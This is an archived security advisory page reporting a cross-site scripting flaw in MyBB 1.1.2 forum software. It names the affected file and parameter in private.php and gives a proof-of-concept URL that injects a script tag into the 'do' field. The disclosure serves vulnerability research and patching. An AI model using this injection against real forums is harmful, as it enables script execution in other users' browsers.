TUCoPS :: Web BBS :: Frequently Exploited :: b06-2782.htm

MyBB 1.1.2 New XSS
MyBB 1.1.2 New XSS
MyBB 1.1.2 New XSS



// MyBB 1.1.2 New XSS=0D
=0D
	File :- private.php=0D
    Ver. :- $do = $mybb->input['do'];=0D
    Line :- 260=0D
    Action :- Preview=0D
=0D
    HTTP Proof :-=0D
/mybb/private.php?to=asda&subject=asd%3E&font=-&size=-&color=-&mode=advanced&message=sd&options%5Bsavecopy%5D=yes&options%5Breadreceipt%5D=yes&action=do_send&pmid=&do=D3vil-0x1%22%3E%3Cscript%3Ealert(1);%3C/script%3E&preview=Preview=0D
=0D
=0D
    // Code=0D
      " />=0D
    //=0D

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH